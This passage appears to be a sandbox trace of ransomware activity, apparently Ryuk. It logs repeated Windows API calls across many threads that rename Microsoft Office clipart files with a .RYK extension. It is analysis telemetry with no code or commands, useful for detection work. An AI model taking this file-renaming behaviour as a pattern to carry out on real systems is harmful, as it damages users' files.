	[0236.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1664
	os_tid = 0x2010

	[0236.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF", dwFileAttributes=0x80) returned 0
	[0236.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.713] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1665
	os_tid = 0x2014

	[0236.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF", dwFileAttributes=0x80) returned 0
	[0236.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1666
	os_tid = 0x2018

	[0236.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID", dwFileAttributes=0x80) returned 0
	[0236.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.154] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1667
	os_tid = 0x201c

	[0236.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF", dwFileAttributes=0x80) returned 0
	[0236.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.712] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.712] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00046_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00046_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1668
	os_tid = 0x2020

	[0236.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF", dwFileAttributes=0x80) returned 0
	[0236.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.157] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1669
	os_tid = 0x2024

	[0236.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF", dwFileAttributes=0x80) returned 0
	[0236.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.711] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.711] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1670
	os_tid = 0x2028

	[0236.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF", dwFileAttributes=0x80) returned 0
	[0236.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.710] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1671
	os_tid = 0x202c

	[0236.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF", dwFileAttributes=0x80) returned 0
	[0236.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00233_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00233_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1673
	os_tid = 0x2038

	[0236.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF", dwFileAttributes=0x80) returned 0
	[0236.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.708] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1674
	os_tid = 0x203c

	[0236.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF", dwFileAttributes=0x80) returned 0
	[0236.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.704] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.704] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1675
	os_tid = 0x2040

	[0236.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF", dwFileAttributes=0x80) returned 0
	[0236.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.702] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1676
	os_tid = 0x2044

	[0236.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF", dwFileAttributes=0x80) returned 0
	[0236.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1677
	os_tid = 0x2048

	[0236.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF", dwFileAttributes=0x80) returned 0
	[0236.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.700] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1678
	os_tid = 0x204c

	[0236.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF", dwFileAttributes=0x80) returned 0
	[0236.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1679
	os_tid = 0x2050

	[0236.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF", dwFileAttributes=0x80) returned 0
	[0236.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.698] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1680
	os_tid = 0x2054

	[0236.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF", dwFileAttributes=0x80) returned 0
	[0236.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1681
	os_tid = 0x2058

	[0236.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID", dwFileAttributes=0x80) returned 0
	[0236.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.827] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1682
	os_tid = 0x205c

	[0236.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF", dwFileAttributes=0x80) returned 0
	[0236.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.825] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0075478.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0075478.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1683
	os_tid = 0x2060

	[0236.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF", dwFileAttributes=0x80) returned 0
	[0236.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.722] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086384.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1685
	os_tid = 0x206c

	[0236.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF", dwFileAttributes=0x80) returned 0
	[0236.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.724] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1686
	os_tid = 0x2070

	[0236.498] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF", dwFileAttributes=0x80) returned 0
	[0236.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.726] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1687
	os_tid = 0x2074

	[0236.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF", dwFileAttributes=0x80) returned 0
	[0236.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.728] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086426.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086426.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1688
	os_tid = 0x2078

	[0236.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF", dwFileAttributes=0x80) returned 0
	[0236.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.730] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.730] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086428.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086428.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1689
	os_tid = 0x207c

	[0236.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF", dwFileAttributes=0x80) returned 0
	[0236.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.732] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086432.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086432.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1690
	os_tid = 0x2080

	[0236.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF", dwFileAttributes=0x80) returned 0
	[0236.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.733] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0236.733] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086478.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086478.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1691
	os_tid = 0x2084

	[0236.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF", dwFileAttributes=0x80) returned 0
	[0236.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
